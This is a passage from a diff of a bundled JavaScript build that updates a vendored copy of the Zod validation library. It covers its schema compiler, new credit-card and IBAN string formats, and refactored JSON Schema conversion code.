INVALID;`); + return outputVar; +} +function generatePipeCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + const inputOutput = generateCheck(doc, ctx, def.in, accessor); + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms in pipes are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const transformedVar = newVar(ctx); + doc.write(`const ${transformedVar} = ${helperConst}(${inputOutput});`); + doc.write(`if (${transformedVar} === INVALID) return INVALID;`); + return generateCheck(doc, ctx, def.out, transformedVar); + } else { + return generateCheck(doc, ctx, def.out, inputOutput); + } +} +function isAsyncFunction(fn) { + return typeof fn === "function" && (fn.constructor.name === "AsyncFunction" || fn[Symbol.toStringTag] === "AsyncFunction"); +} +function generateCustomCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async custom predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + } else { + throw new ZodCompileUnsupportedError("custom schema without a predicate function"); + } + return accessor; +} +function runtimeCatch(innerSchema, catchValue, value) { + const result = innerSchema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + if (r.issues.length === 0) + return r.value; + return catchValue(); +} +function generateCatchCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (!def.catchValue[CONSTANT_CATCH]) { + throw new ZodCompileUnsupportedError("catch with a callback (only a constant catch value compiles)", false); + } + const outputVar = newVar(ctx); + doc.write(`let ${outputVar} = (() => {`); + doc.indented((d) => { + const innerOut = compileChild(d, ctx, def.innerType, accessor); + d.write(`return ${innerOut};`); + }); + doc.write(`})();`); + const innerConst = addConstant(ctx, def.innerType); + const catchConst = addUserConstant(ctx, def.catchValue); + const catchHelperConst = addConstant(ctx, runtimeCatch); + doc.write(`if (${outputVar} === INVALID) {`); + doc.indented((d) => { + d.write(`${outputVar} = ${catchHelperConst}(${innerConst}, ${catchConst}, ${accessor});`); + d.write(`if (${outputVar} === INVALID) return INVALID;`); + }); + doc.write(`}`); + return outputVar; +} +function generateTransformCheck(doc, ctx, schema, accessor) { + const def = schema._zod.def; + if (def.transform) { + if (isAsyncFunction(def.transform)) { + throw new ZodCompileAsyncError("z.compile: async transforms are not supported"); + } + const transformFn = def.transform; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = transformFn(value, fakePayload); + if (result instanceof Promise) + return INVALID; + return fakePayload.issues.length === 0 ? result : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outputVar = newVar(ctx); + doc.write(`const ${outputVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outputVar} === INVALID) return INVALID;`); + return outputVar; + } + return accessor; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/api.js +function snapshotChecks(def) { + if (def.checks) + def.checks = [...def.checks]; + return def; +} // @__NO_SIDE_EFFECTS__ function _string(Class2, params) { - return new Class2({ - type: "string", - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedString(Class2, params) { - return new Class2({ - type: "string", - coerce: true, - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "string", coerce: true, ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _email(Class2, params) { @@ -65353,6 +69528,26 @@ function _e164(Class2, params) { }); } // @__NO_SIDE_EFFECTS__ +function _creditCard(Class2, params) { + return new Class2({ + type: "string", + format: "credit_card", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _iban(Class2, params) { + return new Class2({ + type: "string", + format: "iban", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _jwt(Class2, params) { return new Class2({ type: "string", @@ -65411,20 +69606,11 @@ function _isoDuration(Class2, params) { } // @__NO_SIDE_EFFECTS__ function _number(Class2, params) { - return new Class2({ - type: "number", - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _coercedNumber(Class2, params) { - return new Class2({ - type: "number", - coerce: true, - checks: [], - ...normalizeParams(params) - }); + return new Class2(snapshotChecks({ type: "number", coerce: true, checks: [], ...normalizeParams(params) })); } // @__NO_SIDE_EFFECTS__ function _int(Class2, params) { @@ -65766,6 +69952,14 @@ function _property(property, schema, params) { }); } // @__NO_SIDE_EFFECTS__ +function _properties(shape, params) { + return new $ZodCheckProperties({ + check: "properties", + shape, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ function _mime(types2, params) { return new $ZodCheckMimeType({ check: "mime_type", @@ -65782,23 +69976,23 @@ function _overwrite(tx) { } // @__NO_SIDE_EFFECTS__ function _normalize(form) { - return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); + return /* @__PURE__ */ _overwrite((input2) => input2.normalize(form)); } // @__NO_SIDE_EFFECTS__ function _trim() { - return /* @__PURE__ */ _overwrite((input) => input.trim()); + return /* @__PURE__ */ _overwrite((input2) => input2.trim()); } // @__NO_SIDE_EFFECTS__ function _toLowerCase() { - return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toLowerCase()); } // @__NO_SIDE_EFFECTS__ function _toUpperCase() { - return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); + return /* @__PURE__ */ _overwrite((input2) => input2.toUpperCase()); } // @__NO_SIDE_EFFECTS__ function _slugify() { - return /* @__PURE__ */ _overwrite((input) => slugify(input)); + return /* @__PURE__ */ _overwrite((input2) => slugify(input2)); } // @__NO_SIDE_EFFECTS__ function _array(Class2, element, params) { @@ -65965,7 +70159,7 @@ function _catch(Class2, innerType, catchValue) { return new Class2({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : constantCatch(catchValue) }); } // @__NO_SIDE_EFFECTS__ @@ -66038,7 +70232,8 @@ function _superRefine(fn, params) { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = ch); _issue.continue ?? (_issue.continue = !ch._zod.def.abort); payload.issues.push(issue(_issue)); @@ -66103,8 +70298,8 @@ function _stringbool(Classes, _params) { type: "pipe", in: stringSchema, out: booleanSchema, - transform: (input, payload) => { - let data = input; + transform: (input2, payload) => { + let data = input2; if (params.case !== "sensitive") data = data.toLowerCase(); if (truthySet.has(data)) { @@ -66123,8 +70318,8 @@ function _stringbool(Classes, _params) { return {}; } }, - reverseTransform: (input, _payload) => { - if (input === true) { + reverseTransform: (input2, _payload) => { + if (input2 === true) { return truthyArray[0] || "true"; } else { return falsyArray[0] || "false"; @@ -66132,13 +70327,15 @@ function _stringbool(Classes, _params) { }, error: params.error }); + codec2._zod.bag.truthy = truthyArray; + codec2._zod.bag.falsy = falsyArray; + codec2._zod.bag.case = params.case ?? "insensitive"; return codec2; } // @__NO_SIDE_EFFECTS__ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { const params = normalizeParams(_params); const def = { - ...normalizeParams(_params), check: "string_format", type: "string", format, @@ -66152,7 +70349,17 @@ function _stringFormat(Class2, format, fnOrRegex, _params = {}) { return inst; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/to-json-schema.js +function assignProps(target, ...sources) { + for (const source of sources) { + for (const key of Reflect.ownKeys(source)) { + if (Object.prototype.propertyIsEnumerable.call(source, key)) { + assignProp(target, key, source[key]); + } + } + } + return target; +} function initializeContext(params) { let target = params?.target ?? "draft-2020-12"; if (target === "draft-4") @@ -66169,12 +70376,25 @@ function initializeContext(params) { io: params?.io ?? "output", counter: 0, seen: /* @__PURE__ */ new Map(), + sharedDefsExtractedFor: void 0, + sharedEmitDoneFor: void 0, cycles: params?.cycles ?? "ref", reused: params?.reused ?? "inline", + intersections: [], + deferred: [], external: params?.external ?? void 0 }; } -function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { +function handleUnrepresentable(schema, ctx, json3, params, message2) { + const result = typeof ctx.unrepresentable === "function" ? ctx.unrepresentable({ zodSchema: schema, path: params.path, message: message2 }) : ctx.unrepresentable; + if (result === "any") + return false; + if (result === void 0 || result === "throw") + throw new Error(message2); + Object.assign(json3, result); + return true; +} +function processSchema(schema, ctx, _params = { path: [], schemaPath: [] }) { var _a3; const def = schema._zod.def; const seen = ctx.seen.get(schema); @@ -66188,6 +70408,8 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { } const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; ctx.seen.set(schema, result); + ctx.sharedDefsExtractedFor = void 0; + ctx.sharedEmitDoneFor = void 0; const overrideSchema = schema._zod.toJSONSchema?.(); if (overrideSchema) { result.schema = overrideSchema; @@ -66211,13 +70433,13 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { if (parent) { if (!result.ref) result.ref = parent; - process2(parent, ctx, params); + processSchema(parent, ctx, params); ctx.seen.get(parent).isParent = true; } } const meta3 = ctx.metadataRegistry.get(schema); if (meta3) - Object.assign(result.schema, meta3); + assignProps(result.schema, meta3); if (ctx.io === "input" && isTransforming(schema)) { delete result.schema.examples; delete result.schema.default; @@ -66228,10 +70450,15 @@ function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { const _result = ctx.seen.get(schema); return _result.schema; } +function encodeJSONPointerSegment(segment) { + return segment.replace(/~/g, "~0").replace(/\//g, "~1"); +} function extractDefs(ctx, schema) { const root = ctx.seen.get(schema); if (!root) throw new Error("Unprocessed schema. This is a bug in Zod."); + if (ctx.external && ctx.sharedDefsExtractedFor === ctx.external) + return; const idToSchema = /* @__PURE__ */ new Map(); for (const entry of ctx.seen.entries()) { const id = ctx.metadataRegistry.get(entry[0])?.id; @@ -66253,15 +70480,15 @@ function extractDefs(ctx, schema) { } const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; entry[1].defId = id; - return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; - } - if (entry[1] === root) { - return { ref: "#" }; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${encodeJSONPointerSegment(id)}` }; } const uriPrefix = `#`; const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + if (entry[1] === root && !entry[1].schema.id) { + return { ref: uriPrefix }; + } const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; - return { defId, ref: defUriPrefix + defId }; + return { defId, ref: defUriPrefix + encodeJSONPointerSegment(defId) }; }; const extractToDef = (entry) => { if (entry[1].schema.$ref) { @@ -66313,10 +70540,119 @@ Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs. if (seen.count > 1) { if (ctx.reused === "ref") { extractToDef(entry); + } + } + } + if (ctx.external) + ctx.sharedDefsExtractedFor = ctx.external; +} +function compactTypeUnion(schema) { + const options = schema.anyOf; + if (!Array.isArray(options) || options.length === 0 || schema.type !== void 0) + return; + const types2 = []; + for (const option of options) { + if (!option || typeof option !== "object") + return; + compactTypeUnion(option); + const keys = Object.keys(option); + if (keys.length !== 1 || keys[0] !== "type") + return; + const type = option.type; + for (const member of Array.isArray(type) ? type : [type]) { + if (typeof member !== "string") + return; + if (!types2.includes(member)) + types2.push(member); + } + } + delete schema.anyOf; + schema.type = types2.length === 1 ? types2[0] : types2; +} +var FOLDABLE_KEYS = /* @__PURE__ */ new Set(["type", "properties", "required", "additionalProperties"]); +var UNION_KEYS = ["oneOf", "anyOf"]; +function undeclaredConstraint(member) { + const extra = member.additionalProperties; + if (extra === void 0 || extra === false || typeof extra !== "object" || extra === null) + return null; + return Object.keys(extra).length ? extra : null; +} +function foldObjects(members2) { + const objects = []; + for (const member of members2) { + if (typeof member !== "object" || member.type !== "object") + return null; + for (const key in member) { + if (!FOLDABLE_KEYS.has(key)) + return null; + } + objects.push(member); + } + const properties = {}; + const required2 = /* @__PURE__ */ new Set(); + for (const object2 of objects) { + for (const key in object2.properties) { + if (Object.prototype.hasOwnProperty.call(properties, key)) continue; + const parts = []; + for (const other of objects) { + const part = other.properties?.[key] ?? undeclaredConstraint(other); + if (part === null || part === void 0) + continue; + if (!parts.some((seen) => JSON.stringify(seen) === JSON.stringify(part))) + parts.push(part); } + const merged = parts.length === 1 ? parts[0] : foldObjects(parts) ?? { allOf: parts }; + assignProp(properties, key, merged); } + for (const key of object2.required ?? []) + required2.add(key); } + const folded = { type: "object", properties }; + if (required2.size) + folded.required = [...required2]; + if (objects.every((object2) => object2.additionalProperties === false)) { + folded.additionalProperties = false; + } else { + const constraints = []; + for (const object2 of objects) { + const constraint = undeclaredConstraint(object2); + if (constraint && !constraints.some((seen) => JSON.stringify(seen) === JSON.stringify(constraint))) + constraints.push(constraint); + } + if (constraints.length === 1) + folded.additionalProperties = constraints[0]; + else if (constraints.length > 1) + folded.additionalProperties = { allOf: constraints }; + } + return folded; +} +function foldIntersection(json3) { + const allOf = json3.allOf; + if (!Array.isArray(allOf) || allOf.length < 2) + return; + for (const key of FOLDABLE_KEYS) + if (key in json3) + return; + const unions = allOf.filter((m) => UNION_KEYS.some((k) => Array.isArray(m[k]))); + let folded = null; + if (!unions.length) { + folded = foldObjects(allOf); + } else { + const union3 = unions[0]; + const keyword = UNION_KEYS.find((k) => Array.isArray(union3[k])); + if (Object.keys(union3).length !== 1) + return; + const rest = allOf.filter((m) => m !== union3); + const branches = union3[keyword].map((branch) => foldObjects([...rest, branch])); + if (branches.some((b2) => !b2)) + return; + folded = { [keyword]: branches }; + } + if (!folded) + return; + delete json3.allOf; + assignProps(json3, folded); } function finalize(ctx, schema) { const root = ctx.seen.get(schema); @@ -66338,9 +70674,9 @@ function finalize(ctx, schema) { schema2.allOf = schema2.allOf ?? []; schema2.allOf.push(refSchema); } else { - Object.assign(schema2, refSchema); + assignProps(schema2, refSchema); } - Object.assign(schema2, _cached); + assignProps(schema2, _cached); const isParentRef = zodSchema._zod.parent === ref; if (isParentRef) { for (const key in schema2) { @@ -66384,8 +70720,36 @@ function finalize(ctx, schema) { path: seen.path ?? [] }); }; - for (const entry of [...ctx.seen.entries()].reverse()) { - flattenRef(entry[0]); + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + if (ctx.target !== "openapi-3.0") { + for (const entry of ctx.seen.entries()) { + compactTypeUnion(entry[1].def ?? entry[1].schema); + } + } + for (const rewrite of ctx.deferred) + rewrite(); + if (ctx.intersections.length) { + const carriers = /* @__PURE__ */ new Map(); + for (const seen of ctx.seen.values()) { + for (const json3 of [seen.schema, seen.def]) { + const allOf = json3?.allOf; + if (!Array.isArray(allOf)) + continue; + const existing = carriers.get(allOf); + if (existing) + existing.push(json3); + else + carriers.set(allOf, [json3]); + } + } + for (const allOf of ctx.intersections) { + for (const json3 of carriers.get(allOf) ?? []) + foldIntersection(json3); + } + } } const result = {}; if (ctx.target === "draft-2020-12") { @@ -66403,19 +70767,23 @@ function finalize(ctx, schema) { throw new Error("Schema is missing an `id` property"); result.$id = ctx.external.uri(id); } - Object.assign(result, root.def ?? root.schema); + assignProps(result, root.defId ? root.schema : root.def ?? root.schema); const rootMetaId = ctx.metadataRegistry.get(schema)?.id; if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id; const defs = ctx.external?.defs ?? {}; - for (const entry of ctx.seen.entries()) { - const seen = entry[1]; - if (seen.def && seen.defId) { - if (seen.def.id === seen.defId) - delete seen.def.id; - defs[seen.defId] = seen.def; + if (!ctx.external || ctx.sharedEmitDoneFor !== ctx.external) { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + assignProp(defs, seen.defId, seen.def); + } } } + if (ctx.external) + ctx.sharedEmitDoneFor = ctx.external; if (ctx.external) { } else { if (Object.keys(defs).length > 0) { @@ -66458,7 +70826,7 @@ function isTransforming(_schema, _ctx) { return isTransforming(def.valueType, ctx); if (def.type === "lazy") return isTransforming(def.getter(), ctx); - if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault" || def.type === "catch") { return isTransforming(def.innerType, ctx); } if (def.type === "intersection") { @@ -66499,19 +70867,107 @@ function isTransforming(_schema, _ctx) { } var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { const ctx = initializeContext({ ...params, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { const { libraryOptions, target } = params ?? {}; const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); - process2(schema, ctx); + processSchema(schema, ctx); extractDefs(ctx, schema); return finalize(ctx, schema); }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-processors.js +var narrowMin = (agg, key, value) => { + if (agg[key] === void 0 || value > agg[key]) + agg[key] = value; +}; +var narrowMax = (agg, key, value) => { + if (agg[key] === void 0 || value < agg[key]) + agg[key] = value; +}; +var narrowBoth = (agg, value) => { + narrowMin(agg, "minimum", value); + narrowMax(agg, "maximum", value); +}; +var addDivisor = (agg, value) => { + agg.multipleOf ?? (agg.multipleOf = []); + if (!agg.multipleOf.includes(value)) + agg.multipleOf.push(value); +}; +var addPattern = (agg, pattern) => { + agg.patterns ?? (agg.patterns = /* @__PURE__ */ new Set()); + agg.patterns.add(pattern); +}; +var intersectMime = (agg, mime) => { + agg.mime = agg.mime ? agg.mime.filter((m) => mime.includes(m)) : [...mime]; +}; +var setFormat = (agg, format) => { + agg.format = format; + if (format.includes("int")) + agg.isInt = true; +}; +var minContributor = (agg, def) => narrowMin(agg, "minimum", def.minimum); +var maxContributor = (agg, def) => narrowMax(agg, "maximum", def.maximum); +var formatContributor = (ranges) => (agg, def) => { + setFormat(agg, def.format); + const [minimum, maximum] = ranges[def.format]; + narrowMin(agg, "minimum", minimum); + narrowMax(agg, "maximum", maximum); +}; +var contributors = { + greater_than: (agg, def) => narrowMin(agg, def.inclusive ? "minimum" : "exclusiveMinimum", def.value), + less_than: (agg, def) => narrowMax(agg, def.inclusive ? "maximum" : "exclusiveMaximum", def.value), + multiple_of: (agg, def) => addDivisor(agg, def.value), + number_format: formatContributor(NUMBER_FORMAT_RANGES), + bigint_format: formatContributor(BIGINT_FORMAT_RANGES), + min_length: minContributor, + max_length: maxContributor, + length_equals: (agg, def) => narrowBoth(agg, def.length), + min_size: minContributor, + max_size: maxContributor, + size_equals: (agg, def) => narrowBoth(agg, def.size), + string_format: (agg, def) => { + setFormat(agg, def.format); + if (def.pattern) + addPattern(agg, def.pattern); + if (def.format === "base64" || def.format === "base64url") + agg.contentEncoding = def.format; + if (def.local || def.precision === -1) + agg.laxFormat = true; + }, + mime_type: (agg, def) => intersectMime(agg, def.mime) +}; +function aggregateChecks(schema) { + const agg = {}; + const def = schema._zod.def; + const list = schema._zod.traits.has("$ZodCheck") ? [schema, ...def.checks ?? []] : def.checks ?? []; + for (const ch of list) + contributors[ch._zod.def.check]?.(agg, ch._zod.def); + const bag = schema._zod.bag; + if (bag.minimum !== void 0) + narrowMin(agg, "minimum", bag.minimum); + if (bag.exclusiveMinimum !== void 0) + narrowMin(agg, "exclusiveMinimum", bag.exclusiveMinimum); + if (bag.maximum !== void 0) + narrowMax(agg, "maximum", bag.maximum); + if (bag.exclusiveMaximum !== void 0) + narrowMax(agg, "exclusiveMaximum", bag.exclusiveMaximum); + if (bag.multipleOf !== void 0) + addDivisor(agg, bag.multipleOf); + if (bag.format !== void 0) { + agg.format ?? (agg.format = bag.format); + if (bag.format.includes("int")) + agg.isInt = true; + } + if (bag.mime) + intersectMime(agg, bag.mime); + for (const pattern of bag.patterns ?? []) + addPattern(agg, pattern); + return agg; +} var formatMap = { guid: "uuid", url: "uri", @@ -66520,10 +70976,15 @@ var formatMap = { regex: "" // do not set }; +var exactPatterns = /* @__PURE__ */ new Map([ + [base64Charset, base64], + [base64urlCharset, base64url] +]); +var exactPattern = (p) => exactPatterns.get(p) ?? p; var stringProcessor = (schema, ctx, _json, _params) => { const json3 = _json; json3.type = "string"; - const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + const { minimum, maximum, format, patterns, contentEncoding, laxFormat } = aggregateChecks(schema); if (typeof minimum === "number") json3.minLength = minimum; if (typeof maximum === "number") @@ -66532,19 +70993,19 @@ var stringProcessor = (schema, ctx, _json, _params) => { json3.format = formatMap[format] ?? format; if (json3.format === "") delete json3.format; - if (format === "time") { + if (format === "time" || laxFormat) { delete json3.format; } } if (contentEncoding) json3.contentEncoding = contentEncoding; if (patterns && patterns.size > 0) { - const regexes = [...patterns]; - if (regexes.length === 1) - json3.pattern = regexes[0].source; - else if (regexes.length > 1) { + const patternList = [...patterns].map(exactPattern); + if (patternList.length === 1) + json3.pattern = patternList[0].source; + else if (patternList.length > 1) { json3.allOf = [ - ...regexes.map((regex) => ({ + ...patternList.map((regex) => ({ ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, pattern: regex.source })) @@ -66552,13 +71013,10 @@ var stringProcessor = (schema, ctx, _json, _params) => { } } }; -var numberProcessor = (schema, ctx, _json, _params) => { +var numberProcessor = (schema, ctx, _json, params) => { const json3 = _json; - const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; - if (typeof format === "string" && format.includes("int")) - json3.type = "integer"; - else - json3.type = "number"; + const { minimum, maximum, multipleOf, exclusiveMaximum, exclusiveMinimum, isInt } = aggregateChecks(schema); + json3.type = isInt ? "integer" : "number"; const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; @@ -66582,21 +71040,29 @@ var numberProcessor = (schema, ctx, _json, _params) => { } else if (typeof maximum === "number") { json3.maximum = maximum; } - if (typeof multipleOf === "number") - json3.multipleOf = multipleOf; + if (multipleOf) { + const divisors = /* @__PURE__ */ new Set(); + for (const divisor of multipleOf) { + if (Number.isFinite(divisor) && divisor !== 0) + divisors.add(Math.abs(divisor)); + else + handleUnrepresentable(schema, ctx, json3, params, `A multipleOf divisor of ${divisor} cannot be represented in JSON Schema`); + } + const [first, ...rest] = divisors; + if (first !== void 0) + json3.multipleOf = first; + if (rest.length) + json3.allOf = [...json3.allOf ?? [], ...rest.map((m) => ({ multipleOf: m }))]; + } }; var booleanProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var bigintProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt cannot be represented in JSON Schema"); - } +var bigintProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "BigInt cannot be represented in JSON Schema"); }; -var symbolProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Symbols cannot be represented in JSON Schema"); - } +var symbolProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Symbols cannot be represented in JSON Schema"); }; var nullProcessor = (_schema, ctx, json3, _params) => { if (ctx.target === "openapi-3.0") { @@ -66607,15 +71073,11 @@ var nullProcessor = (_schema, ctx, json3, _params) => { json3.type = "null"; } }; -var undefinedProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Undefined cannot be represented in JSON Schema"); - } +var undefinedProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Undefined cannot be represented in JSON Schema"); }; -var voidProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Void cannot be represented in JSON Schema"); - } +var voidProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Void cannot be represented in JSON Schema"); }; var neverProcessor = (_schema, _ctx, json3, _params) => { json3.not = {}; @@ -66624,35 +71086,37 @@ var anyProcessor = (_schema, _ctx, _json, _params) => { }; var unknownProcessor = (_schema, _ctx, _json, _params) => { }; -var dateProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Date cannot be represented in JSON Schema"); - } +var dateProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Date cannot be represented in JSON Schema"); }; var enumProcessor = (schema, _ctx, json3, _params) => { const def = schema._zod.def; const values2 = getEnumValues(def.entries); + if (values2.length === 0) { + json3.not = {}; + return; + } if (values2.every((v) => typeof v === "number")) json3.type = "number"; if (values2.every((v) => typeof v === "string")) json3.type = "string"; json3.enum = values2; }; -var literalProcessor = (schema, ctx, json3, _params) => { +var literalProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; + if (def.values.length === 0) { + json3.not = {}; + return; + } const vals = []; for (const val of def.values) { if (val === void 0) { - if (ctx.unrepresentable === "throw") { - throw new Error("Literal `undefined` cannot be represented in JSON Schema"); - } else { - } + if (handleUnrepresentable(schema, ctx, json3, params, "Literal `undefined` cannot be represented in JSON Schema")) + return; } else if (typeof val === "bigint") { - if (ctx.unrepresentable === "throw") { - throw new Error("BigInt literals cannot be represented in JSON Schema"); - } else { - vals.push(Number(val)); - } + if (handleUnrepresentable(schema, ctx, json3, params, "BigInt literals cannot be represented in JSON Schema")) + return; + vals.push(Number(val)); } else { vals.push(val); } @@ -66678,10 +71142,8 @@ var literalProcessor = (schema, ctx, json3, _params) => { json3.enum = vals; } }; -var nanProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("NaN cannot be represented in JSON Schema"); - } +var nanProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "NaN cannot be represented in JSON Schema"); }; var templateLiteralProcessor = (schema, _ctx, json3, _params) => { const _json = json3; @@ -66693,93 +71155,90 @@ var templateLiteralProcessor = (schema, _ctx, json3, _params) => { }; var fileProcessor = (schema, _ctx, json3, _params) => { const _json = json3; - const file2 = { - type: "string", - format: "binary", - contentEncoding: "binary" - }; - const { minimum, maximum, mime } = schema._zod.bag; + _json.type = "string"; + _json.format = "binary"; + _json.contentEncoding = "binary"; + const { minimum, maximum, mime } = aggregateChecks(schema); if (minimum !== void 0) - file2.minLength = minimum; + _json.minLength = minimum; if (maximum !== void 0) - file2.maxLength = maximum; - if (mime) { - if (mime.length === 1) { - file2.contentMediaType = mime[0]; - Object.assign(_json, file2); - } else { - Object.assign(_json, file2); - _json.anyOf = mime.map((m) => ({ contentMediaType: m })); - } - } else { - Object.assign(_json, file2); - } + _json.maxLength = maximum; + if (!mime) + return; + if (mime.length === 0) + _json.not = {}; + else if (mime.length === 1) + _json.contentMediaType = mime[0]; + else + _json.anyOf = mime.map((m) => ({ contentMediaType: m })); }; var successProcessor = (_schema, _ctx, json3, _params) => { json3.type = "boolean"; }; -var customProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Custom types cannot be represented in JSON Schema"); - } +var customProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Custom types cannot be represented in JSON Schema"); }; -var functionProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Function types cannot be represented in JSON Schema"); - } +var functionProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Function types cannot be represented in JSON Schema"); }; -var transformProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Transforms cannot be represented in JSON Schema"); - } +var transformProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Transforms cannot be represented in JSON Schema"); }; -var mapProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Map cannot be represented in JSON Schema"); - } +var mapProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Map cannot be represented in JSON Schema"); }; -var setProcessor = (_schema, ctx, _json, _params) => { - if (ctx.unrepresentable === "throw") { - throw new Error("Set cannot be represented in JSON Schema"); - } +var setProcessor = (schema, ctx, json3, params) => { + handleUnrepresentable(schema, ctx, json3, params, "Set cannot be represented in JSON Schema"); }; var arrayProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if 